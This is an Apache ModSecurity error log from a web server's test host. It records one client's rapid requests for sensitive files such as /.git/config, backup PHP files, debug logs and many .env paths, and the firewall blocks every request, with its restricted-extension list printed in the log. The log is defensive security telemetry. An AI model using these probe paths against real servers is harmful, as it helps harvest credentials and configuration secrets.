[Sun Jul 20 17:01:35.440469 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUawAAAA0&quot;]
[Sun Jul 20 17:01:35.440634 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUawAAAA0&quot;]
[Sun Jul 20 17:01:35.605067 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUbgAAAA0&quot;]
[Sun Jul 20 17:01:35.605304 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUbgAAAA0&quot;]
[Sun Jul 20 17:01:35.605470 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUbgAAAA0&quot;]
[Sun Jul 20 17:01:35.625448 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUbwAAAA0&quot;]
[Sun Jul 20 17:01:35.625797 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUbwAAAA0&quot;]
[Sun Jul 20 17:01:35.625971 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUbwAAAA0&quot;]
[Sun Jul 20 17:01:35.646030 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUcAAAAA0&quot;]
[Sun Jul 20 17:01:35.646193 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/npm-debug.log&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /npm-debug.log found within REQUEST_FILENAME: /npm-debug.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUcAAAAA0&quot;]
[Sun Jul 20 17:01:35.646442 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUcAAAAA0&quot;]
[Sun Jul 20 17:01:35.646617 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUcAAAAA0&quot;]
[Sun Jul 20 17:01:35.707948 2025] [authz_core:error] [pid 1321413] [client 185.177.72.106:6542] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Sun Jul 20 17:01:35.773528 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webroot_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUdgAAAA0&quot;]
[Sun Jul 20 17:01:35.773774 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUdgAAAA0&quot;]
[Sun Jul 20 17:01:35.773976 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webroot_path/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUdgAAAA0&quot;]
[Sun Jul 20 17:01:35.794008 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /websocket/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUdwAAAA0&quot;]
[Sun Jul 20 17:01:35.794246 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUdwAAAA0&quot;]
[Sun Jul 20 17:01:35.794431 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/websocket/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUdwAAAA0&quot;]
[Sun Jul 20 17:01:35.814577 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webstatic/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUeAAAAA0&quot;]
[Sun Jul 20 17:01:35.814838 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUeAAAAA0&quot;]
[Sun Jul 20 17:01:35.815004 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webstatic/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUeAAAAA0&quot;]
[Sun Jul 20 17:01:35.835040 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /webui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webui/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUeQAAAA0&quot;]
[Sun Jul 20 17:01:35.835284 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webui/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUeQAAAA0&quot;]
[Sun Jul 20 17:01:35.835458 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webui/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUeQAAAA0&quot;]
[Sun Jul 20 17:01:35.870757 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /well-known/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUegAAAA0&quot;]
[Sun Jul 20 17:01:35.871003 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUegAAAA0&quot;]
[Sun Jul 20 17:01:35.871188 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/well-known/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUegAAAA0&quot;]
[Sun Jul 20 17:01:35.891372 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /whturk/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUewAAAA0&quot;]
[Sun Jul 20 17:01:35.891621 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUewAAAA0&quot;]
[Sun Jul 20 17:01:35.891833 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/whturk/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUewAAAA0&quot;]
[Sun Jul 20 17:01:35.911970 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /windows/tests/9.2.x/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/windows/tests/9.2.x/.env&quot;] [unique_id &quot;aH0Ez4xoTuBEoACPPcEUfAAAAA0&quot;]
